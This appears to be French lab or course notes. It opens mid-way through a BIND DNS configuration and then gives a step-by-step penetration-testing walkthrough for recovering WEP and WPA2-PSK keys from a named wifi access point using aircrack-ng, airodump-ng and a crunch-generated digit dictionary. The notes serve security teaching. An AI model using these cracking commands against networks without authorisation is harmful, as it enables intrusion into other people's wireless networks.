             directory "/var/cache/bind";
             dnssec-validation auto;
             dnssec-enable yes;
             auth-nxdomain no;    # conform to RFC1035
             listen-on-v6 { any; };
             allow-transfer { "allowed_to_transfer"; };
     };
     
     acl "allowed_to_transfer" {
     	217.70.177.40/32;
     };

Tests d'intrusion

Recuperation de la clef WEP

Airodump-ng permet d'écouter les réseaux wifi et d'enregistrer les paquets dans un fichier de capture. Tout d'abord, installer le paquetage suivant, puis activer le mode moniteur de la carte wifi:

   apt-get install aircrack-ng
   airmon-ng start wlx40a5ef0f68ce

Une fois installé, nous allons scanner l'ensemble des reseaux wifi disponible, nous avons le choix parmis x bornes

   airodump-ng --encrypt wep wlx40a5ef0f68ce

Avec la "cracotte09" nous recupérons le BSSID et le canal (ch). l'objectif suivant est d'écouter les data qui circulent sur cracotte09, on se place dans un repertoire.

   airodump-ng -w out -c 1 --bssid 04:DA:D2:9C:50:58 wlx40a5ef0f68ce

Sur un deuxieme terminal dans le même repertoire, nous allons lire le fichier out-01.cap afin de déchiffrer la clef WEP. l'opération peut durer plusieurs minutes.

   aircrack-ng out-01.pcap

Recuperation de la clef WPA2-PSK

Nous devons maintenant s'armer d'un fichier dictionnaire contenant les caractères souhaité. Copier le dictionnaire dans le dossier où se trouve le fichier de capture.

Creation du dictionnaire :

Installer le paquetage crunch dans le repertoire, creer le fichier.txt contenant toutes les combinaisons possible d'une succesion de 8 chiffres (nombre minimum de caractères en WPA)

   crunch 8 8 0123456789 >> Dico.txt

Sur le terminal On choisit la borne puis on lance l'écoute/ecriture des trames. Seul le handshake est nécessaire Ensuite lancer la commande suivante pour lancer le crack :

   aircrack-ng nom_fichier.cap -w dico.txt

Il ne reste plus qu'à attendre le résultat (cela peux durer .. très .. très .. longtemps...)